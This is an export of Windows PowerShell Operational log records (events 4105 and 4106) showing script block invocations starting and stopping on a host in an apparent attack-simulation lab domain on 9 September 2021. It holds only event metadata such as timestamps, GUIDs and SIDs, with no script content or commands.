RecordNumber=2050974
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050972
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050970
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050968
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050967
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050966
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050984
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050983
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050982
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050980
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050978
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050976
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050994
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050992
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050990
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050988
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050986
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051004
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051002
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051001
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051000
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050998
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050996
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051066
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051065
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051064
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051063
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051062
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051061
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051060
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051059
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051058
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051057
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051056
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051055
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051054
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051053
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051052
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
